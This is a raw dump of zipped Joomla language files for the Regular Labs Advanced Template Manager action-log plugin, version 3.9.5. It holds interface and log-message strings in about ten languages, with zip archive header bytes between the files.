ATP_SETTINGS="Per favore leggi [[%1:start link%]]Template
Manager[[%2:end link%]] per le impostazioni."
ATP_THE_COMPONENT="Componente Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[���e��Nadvancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[8�L��Jadvancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="「Advanced Template
Manager」を使うと、テンプレートをコントロールする追加のオプションと機能が使えます。"
ATP_SETTINGS="設定 (パラメータ) については、[[%1:start
link%]]テンプレート管理[[%2:end
link%]]を参照して下さい。"
ATP_THE_COMPONENT="Advanced Template Manager
コンポーネント"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[���OOJadvancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Išplėstinė šablonų tvarkyklė"
ADVANCEDTEMPLATEMANAGER_DESC="Išplėstinė šablonų tvarkyklė
suteiks papildomas parinktis ir funkcionalumą šablonų valdymui."
ATP_SETTINGS="Peržiūrėkite [[%1:start link%]]Šablonų tvarkyklės
[[%2:end link%]] nustatymus."
ATP_THE_COMPONENT="Išplėstinės šablonų tvarkyklės
komponentas"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���
��Nadvancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Išplėstinė šablonų tvarkyklė"
PKbo�[n��yQQJadvancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Met Advanced Template Manager heb je
extra opties en functionaliteit om de controle te nemen over uw
templates."
ATP_SETTINGS="Gelieve het [[%1: start link%]]Template Beheer[[%2:end
link%]] te raadplegen voor instellingen"
ATP_THE_COMPONENT="het Advanced Template Manager component"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[�;e�llJadvancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Actie Log - Regular Labs -
Geavanceerde Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sla de acties op van gebruikers
voor Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER="Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Met Geavanceerde Template Manager heeft
u extra opties en functies om uw templates te controleren."
ATP_SETTINGS="AUB kijk in [[%1:start link%]]Templatebeheer[[%2:end
link%]] voor instellingen."
ATP_THE_COMPONENT="de Geavanceerde Template Manager component"
ATP_THE_SYSTEM_PLUGIN="de Geavanceerde Template Manager systeem
plug-in"
ATP_ACTION_FOLDER_FILE_ACTIONS="Map/Bestandsacties"
ATP_ACTION_TEMPLATE_COPY="Template kopiëren"
ATP_ACTIONLOGS_FILE_ADDED="Gebruiker <a
href='{accountlink}'>{username}</a> voegde <a
href='{filelink}'>{file}</a> toe aan template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="Gebruiker <a
href='{accountlink}'>{username}</a> verwijderde {file}
van template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Gebruiker <a
href='{accountlink}'>{username}</a> updatete <a
href='{filelink}'>{file}</a> in template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Gebruiker <a
href='{accountlink}'>{username}</a> veranderde de
standaard template stijl naar <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Gebruiker <a
href='{accountlink}'>{username}</a> maakte een nieuwe
template genaamd '{to_name}' (copy of
'{from_name}')"
ATP_TEMPLATE_FILE="template bestand"
PKbo�[��*`��Nadvancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Actie Log - Regular Labs -
Geavanceerde Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sla de acties op van gebruikers
voor Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER="Geavanceerde Template Manager"
PKbo�[m0�aaJadvancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gerenciador Avançado de Temas"
ADVANCEDTEMPLATEMANAGER_DESC="Com o Gerenciador Avançado de Temas
você tem opções e funcionalidades extras para controlar teus
temas."
ATP_SETTINGS="Por favor, veja o [[%1: link inicial%]] Gerenciador de
Temas [[%2: link final%]] para configurações."
ATP_THE_COMPONENT="o componente de Gerenciador Avançado de
Temas"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[M�6`��Nadvancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gerenciador Avançado de Temas"
PKbo�[{�${@@Jadvancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Com o Advanced Template Manager terá
opções e funcionalidades adicionais para gerir os seus modelos."
ATP_SETTINGS="Por fgavor, ver configurações em[[%1:start
link%]]Gestor de modelos[[%2:end link%]]."
ATP_THE_COMPONENT="o componente Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[�����Jadvancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="С помощью Advanced Template
Manager у вас есть дополнительные варианты и
возможности для управления
шаблонами."
ATP_SETTINGS="Пожалуйста перейдите в [[%1:start
link%]]Advanced Template Manager[[%2:end link%]] для его
настройки."
ATP_THE_COMPONENT="компонент Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[��88Jadvancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktivitetslogg - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sparar aktiviteter för
användare av Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Med Advanced Template Manager får du
extra alternativ och funktioner till dina sidmallar."
ATP_SETTINGS="Gå till [[%1:start link%]]Mallar[[%2:end link%]] för
inställningar."
ATP_THE_COMPONENT="Komponenten Advanced Template Manager"
ATP_THE_SYSTEM_PLUGIN="Advanced Template Manager system-plugin"
ATP_ACTION_FOLDER_FILE_ACTIONS="Mapp/Fil-aktiviteter"
ATP_ACTION_TEMPLATE_COPY="Kopiera Sidmall"
ATP_ACTIONLOGS_FILE_ADDED="Användare <a
href='{accountlink}'>{username}</a> lade till <a
href='{filelink}'>{file}</a> till sidmall
{template}"
ATP_ACTIONLOGS_FILE_DELETED="Användare <a
href='{accountlink}'>{username}</a> tog bort {file}
från sidmallen {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Användare <a
href='{accountlink}'>{username}</a> uppdaterade <a
href='{filelink}'>{file}</a> i sidmallen
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Användare <a
href='{accountlink}'>{username}</a> ändrade standard
sidmallstil till <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Användare <a
href='{accountlink}'>{username}</a> skpade en ny sidmall
kallad '{to_name}' (kopia av '{from_name}')"
ATP_TEMPLATE_FILE="sidmallfil"
PKbo�[�8�|��Nadvancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktivitetslogg - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sparar aktiviteter för
användare av Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[am���Jadvancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Kullanıcıların Advanced
Template Manager bileşeninde yaptığı işlemler kaydededilir."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Advanced Template Manager ile temaları
denetlemek için ek seçenek ve işlevler eklenebilir."
ATP_SETTINGS="Ayarlar için [[%1:start link%]]Template Manager sistem
uygulama eki[[%2:end link%]] bölümüne bakın."
ATP_THE_COMPONENT="Advanced Template Manager bileşeni"
ATP_THE_SYSTEM_PLUGIN="Advanced Template Manager Sistem Uygulama
Eki"
ATP_ACTION_FOLDER_FILE_ACTIONS="Klasör/Dosya İşlemleri"
ATP_ACTION_TEMPLATE_COPY="Temayı Kopyalayın"
ATP_ACTIONLOGS_FILE_ADDED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasına <a href='{filelink}'>{file}</a>
dosyasını ekledi"
ATP_ACTIONLOGS_FILE_DELETED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasından <a
href='{filelink}'>{file}</a> dosyasını sildi"
ATP_ACTIONLOGS_FILE_UPDATED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasında <a href='{filelink}'>{file}</a>
dosyasını güncelledi"
ATP_ACTIONLOGS_STYLE_SET_HOME="<a
href='{accountlink}'>{username}</a> kullanıcısı
varsayılan tema biçemini <a
href='{style_link}'>{style_name}</a> olarak
değiştirdi"
ATP_ACTIONLOGS_TEMPLATE_COPY="<a
href='{accountlink}'>{username}</a> kullanıcısı
'{to_name}' ('{from_name}' kopyası) adında bir tema
oluşturdu"
ATP_TEMPLATE_FILE="Tema Dosyası"
PKco�[�uD��Nadvancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Kullanıcıların Advanced
Template Manager bileşeninde yaptığı işlemler kaydededilir."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[:���Jadvancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="З Advanced Template Manager ви
отримаєте додаткові можливості і
функціональність для управління вашими
шаблонами."
ATP_SETTINGS="Будь ласка використовуйте
[[%1:start link%]]Template Manager[[%2:end link%]] для
налаштування."
ATP_THE_COMPONENT="компонент Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKco�[���e��Nadvancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[j���PPJadvancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
